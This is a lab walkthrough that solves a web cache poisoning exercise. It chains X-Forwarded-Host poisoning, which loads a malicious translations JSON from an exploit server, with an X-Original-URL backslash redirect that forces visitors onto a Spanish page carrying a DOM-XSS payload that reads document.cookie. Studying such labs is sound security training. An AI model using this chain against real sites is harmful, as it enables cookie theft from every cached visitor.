Combining web cache poisoning vulnerabilities¶
Description¶
This lab is susceptible to web cache poisoning, but only if you construct a complex exploit chain. A user visits the home page roughly once a minute and their language is set to English.
Reproduction¶
With Burp running, load the website’s home page.
Use Param Miner to identify that the
X-Forwarded-HostandX-Original-URLheaders are supported.


In Burp Repeater, experiment with the
X-Forwarded-Hostheader. It can be used to import an arbitrary JSON file instead of thetranslations.jsonfile, which contains translations of UI texts.

The website is vulnerable to DOM-XSS due to the way the
initTranslations()function handles data from the JSON file for all languages except English:

function initTranslations(jsonUrl)
{
const lang = document.cookie.split(';')
.map(c => c.trim().split('='))
.filter(p => p[0] === 'lang')
.map(p => p[1])
.find(() => true);
const translate = (dict, el) => {
for (const k in dict) {
if (el.innerHTML === k) {
el.innerHTML = dict[k];
} else {
el.childNodes.forEach(el_ => translate(dict, el_));
}
}
}
fetch(jsonUrl)
.then(r => r.json())
.then(j => {
const select = document.getElementById('lang-select');
if (select) {
for (const code in j) {
const name = j[code].name;
const el = document.createElement("option");
el.setAttribute("value", code);
el.innerText = name;
select.appendChild(el);
if (code === lang) {
select.selectedIndex = select.childElementCount - 1;
}
}
}
lang in j && lang.toLowerCase() !== 'en' && j[lang].translations && translate(j[lang].translations, document.getElementsByClassName('maincontainer')[0]);
});
}
Go to the exploit server and edit the file name to match the path used by the vulnerable website:
/resources/json/translations.json.In the head, add the header
Access-Control-Allow-Origin: *to enable CORS.In the body, add malicious JSON that matches the structure used by the real translation file. Replace the value of one of the translations with a suitable XSS payload, for example:
{
"en": {
"name": "English"
},
"es": {
"name": "español",
"translations": {
"Return to list": "Volver a la lista",
"View details": "</a><img src=1 onerror='alert(document.cookie)' />",
"Description:": "Descripción"
}
}
}

Store the exploit.
In Burp, find a
GETrequest for/?localized=1that includes thelangcookie for Spanish:lang=es


Send the request to Burp Repeater. Add a cache buster like
?cb=1234and theX-Forwarded-Hostheader with the exploit server ID:X-Forwarded-Host: exploit-server-id.exploit-server.net.Send and confirm that the exploit server is reflected in the response.

To simulate the victim, load the URL in the browser and confirm that the
alert()fires.The cache for the Spanish page is poisoned, but the target user’s language is set to English. It is not possible to exploit users with their language set to English, so a way to forcibly change language is needed.
In Burp, go to Proxy -> HTTP history and study the requests and responses generated. When changing the language on the page to anything other than English, this triggers a redirect, for example, to
/setlang/es. The user’s selected language is set server side using thelang=escookie, and the home page is reloaded with the parameter?localized=1.Send the
GETrequest for the home page to Burp Repeater and add a cache buster.The
X-Original-URLcan be used to change the path of the request to explicitly set/setlang/es. This response cannot be cached because it contains theSet-Cookieheader.The home page sometimes uses backslashes as a folder separator. The server normalises these to forward slashes using a redirect. As a result,
X-Original-URL: /setlang\estriggers a302response that redirects to/setlang/es. This302response is cacheable and can be used to force other users to the Spanish version of the home page.Combine these two exploits. First, poison the
GET /?localized=1page using theX-Forwarded-Hostheader to import the malicious JSON file from the exploit server.And while the cache is still poisoned, poison the
GET /page usingX-Original-URL: /setlang\esto force all users to the Spanish page.To simulate the victim, load the English page in the browser and make sure that you are redirected and that the
alert()fires.Replay both requests in sequence to keep the cache poisoned on both pages until the victim visits the site and the lab is solved.
PoC¶
Exploitability¶
An attacker will need to poison the cache with multiple malicious responses simultaneously and coordinate this with the victim’s browsing behaviour.